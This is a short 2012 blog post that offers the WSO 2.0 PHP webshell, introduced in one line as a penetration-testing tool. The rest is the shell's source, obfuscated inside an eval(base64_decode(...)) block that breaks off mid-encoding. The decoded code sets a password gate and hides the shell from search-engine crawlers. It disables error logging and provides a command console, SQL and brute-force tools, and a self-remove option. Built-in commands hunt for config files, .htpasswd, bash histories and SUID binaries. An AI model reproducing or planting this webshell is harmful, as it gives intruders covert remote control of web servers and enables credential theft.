lundi 1 octobre 2012

WSO 2.0 WebShell

Hi all;
in this article im gonna give you the best webshell for penetration testing .
Source Code:

-------------------------------------------------------------------------------------------------------------------------<?
eval(base64_decode("JGF1dGhfcGFzcyA9ICJjYjQ0YWNjODgwMGIyYjNiOTcwNzlkOTA4ZThhNzE1ZiI7
CiRjb2xvciA9ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsK
JGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dp
bmRvd3MtMTI1MSc7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VO
VCddKSkgewogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJw
IiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIp
OwogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2Vu
dHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAg
ICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgICAgIGV4
aXQ7CiAgICB9Cn0KCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3Nl
dCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUn
LDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRp
bWUoMCk7CkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNScpOwoKaWYoZ2V0X21h
Z2ljX3F1b3Rlc19ncGMoKSkgewoJZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRh
cnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdX
U09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7
Cgl9CgkkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsKICAgICRfQ09P
S0lFID0gV1NPc3RyaXBzbGFzaGVzKCRfQ09PS0lFKTsKfQoKZnVuY3Rpb24gd3Nv
TG9naW4oKSB7CglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1w
b3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlu
cHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiIpOwp9Cgpm
dW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7CiAgICAkX0NPT0tJRVska10g
PSAkdjsKICAgIHNldGNvb2tpZSgkaywgJHYpOwp9CgppZighZW1wdHkoJGF1dGhf
cGFzcykpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRf
UE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSkKICAgICAgICBXU09zZXRjb29r
aWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRhdXRoX3Bhc3MpOwoKICAg
IGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSld
KSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRh
dXRoX3Bhc3MpKQogICAgICAgIHdzb0xvZ2luKCk7Cn0KCmlmKHN0cnRvbG93ZXIo
c3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikKCSRvcyA9ICd3aW4nOwplbHNl
Cgkkb3MgPSAnbml4JzsKCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2Rl
Jyk7CmlmKCEkc2FmZV9tb2RlKQogICAgZXJyb3JfcmVwb3J0aW5nKDApOwoKJGRp
c2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7
CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKQoJ
QGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoJG9zID09
ICd3aW4nKSB7CgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRo
b21lX2N3ZCk7CgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsK
fQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycpCgkkY3dkIC49ICcvJzsK
CmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAu
ICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1Qn
XSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7CgppZigkb3Mg
PT0gJ3dpbicpCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIg
PT4gImRpciIsCiAgICAJIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9
PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAJIkZpbmQgKmNvbmZpZyou
cGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBo
cCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAt
YW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQi
LAogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgCSJTaG93
IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRhYmxlIiA9PiAiYXJw
IC1hIiwKCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkp
OwplbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJIkxpc3QgZGlyIiA9PiAibHMg
LWxoYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25k
IGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hv
dyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVu
IiwKICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5k
IiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10
eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGlu
IGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1s
cyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBm
IC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJy
ZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAog
IAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUg
ZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVz
IiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZp
bmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlw
ZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBm
b2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJ
ImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQg
ZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2Vy
dmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNl
LnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRp
ciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJm
aW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFt
ZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJl
bnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJ
CSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBl
IGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5
IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUg
LmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVz
IiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJm
aW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg
LiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIs
CiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQu
Y29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2
aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJs
b2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVz
IiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmls
ZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmls
ZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2ZnLnBocCBmaWxl
cyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVz
IiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmls
ZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhw
IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmln
LmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNv
bmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9j
YXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcu
ZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2Nh
dGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNv
bmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwK
CQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9j
YXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJ
ImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9o
aXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxv
Y2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBm
aWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNr
dXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmls
ZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAi
bG9jYXRlIHByaXYiCgkpOwoKZnVuY3Rpb24gd3NvSGVhZGVyKCkgewoJaWYoZW1w
dHkoJF9QT1NUWydjaGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdM
T0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwoJZ2xvYmFsICRjb2xvcjsKCWVjaG8g
IjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29u
dGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAu
ICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAi
IC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPgo8c3R5bGU+CmJvZHl7YmFja2dyb3Vu
ZC1jb2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQpib2R5LHRkLHRoeyBmb250OiA5
cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2Nv
bG9yOiNlMWUxZTE7IH0KdGFibGUuaW5mb3sgY29sb3I6I2ZmZjtiYWNrZ3JvdW5k
LWNvbG9yOiMyMjI7IH0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRh
bnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgYm9yZGVyLWxl
ZnQ6NXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQg
VmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQpkaXYu
Y29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5k
LWNvbG9yOiMzMzM7IH0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3Zl
cnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQoubWwxeyBib3JkZXI6MXB4
IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87
IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9CmlucHV0LHRl
eHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNv
bG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25v
c3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQpmb3JteyBtYXJnaW46MHB4OyB9CiN0b29s
c1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3aWR0aDogMzAw
cHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjoj
NWU1ZTVlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVl
fQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoubDJ7YmFja2dyb3VuZC1jb2xv
cjojMzMzfQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0
eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJz
KCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRtbHNw
ZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0g
JyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwog
ICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9
PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVP
VEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsn
cDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsn
cDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJw
b3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNo
YXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBk
b2N1bWVudDsKCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJ
CWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87
CgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1j
XzsKCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52
YWx1ZT1wMV87CgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQu
bWYucDIudmFsdWU9cDJfOwoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7
ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsKCQlpZihjaGFyc2V0IT1udWxsKWQubWYu
Y2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNo
YXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJ
CXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZC5tZi5zdWJtaXQoKTsKCX0K
CWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAx
LHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKCQlm
b3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0g
JyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50
KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hlcygk
X1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rp
b24gc3IodXJsLCBwYXJhbXMpIHsKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0
KQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQllbHNlIGlmICh3aW5k
b3cuQWN0aXZlWE9iamVjdCkKCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01p
Y3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAg
ICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAg
ICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAg
ICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNh
dGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgcmVxLnNl
bmQocGFyYW1zKTsKICAgICAgICB9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hh
bmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEu
c3RhdHVzID09IDIwMCkgewoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxc
XGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwoJCQkJdmFyIGFycj1yZWcuZXhl
YyhyZXEucmVzcG9uc2VUZXh0KTsKCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBh
cnJbMV0pKTsKCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOwoJfQo8
L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1
dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDow
Oyc+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9u
ZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRk
ZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KPGlucHV0IHR5
cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgo8
aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsKCSRmcmVl
U3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFs
U3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRv
dGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2Ug
PSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJ
JGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9u
PXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsKCWlmKHN0cnBvcygnTGludXgn
LCAka2VybmVsKSAhPT0gZmFsc2UpCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdM
aW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKCWVsc2UKCQkk
ZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVs
ZWFzZSwwLDMpKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQn
KSkgewoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdl
dG15dWlkKCk7CgkJJGdpZCA9IEBnZXRteWdpZCgpOwoJCSRncm91cCA9ICI/IjsK
CX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlk
KCkpOwoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsK
CQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJ
JGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0K
CgkkY3dkX2xpbmtzID0gJyc7CgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFM
U1snY3dkJ10pOwoJJG49Y291bnQoJHBhdGgpOwoJZm9yKCRpPTA7ICRpPCRuLTE7
ICRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdn
KFwiRmlsZXNNYW5cIixcIiI7CgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykKCQkJ
JGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwoJCSRjd2RfbGlua3MgLj0gIlwi
KSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKCX0KCgkkY2hhcnNldHMgPSBhcnJheSgn
VVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4
NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFz
ICRpdGVtKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0
ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6Jycp
Lic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCgkkbSA9IGFycmF5KCdTZWMuIEluZm8n
PT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25z
b2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTdHJpbmcgdG9vbHMnPT4n
U3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3Jr
Jz0+J05ldHdvcmsnKTsKCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10p
KQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOwoJJG1bJ1NlbGYgcmVtb3ZlJ10g
PSAnU2VsZlJlbW92ZSc7CgkkbWVudSA9ICcnOwoJZm9yZWFjaCgkbSBhcyAkayA9
PiAkdikKCQkkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgk
bSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxs
LFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOwoKCSRkcml2ZXMg
PSAiIjsKCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7CgkJZm9yZWFjaChy
YW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxc
JykpCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxl
c01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsK
CX0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNw
YWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8
YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydv
cyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicK
ICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwg
MTIwKSAuICcgPGEgaHJlZj0iJyAuICRleHBsaW5rIC4gJyIgdGFyZ2V0PV9ibGFu
az5bZXhwbG9pdC1kYi5jb21dPC9hPjwvbm9icj48YnI+JyAuICR1aWQgLiAnICgg
JyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAn
ICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNw
YW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10/
Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj1ncmVlbj48
Yj5PRkY8L2I+PC9mb250PicpCiAgICAgICAuICcgPGEgaHJlZj0jIG9uY2xpY2s9
ImcoXCdQaHBcJyxudWxsLFwnXCcsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4g
PHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnKSAu
ICc8YnI+JyAuIHdzb1ZpZXdTaXplKCR0b3RhbFNwYWNlKSAuICcgPHNwYW4+RnJl
ZTo8L3NwYW4+ICcgLiB3c29WaWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChp
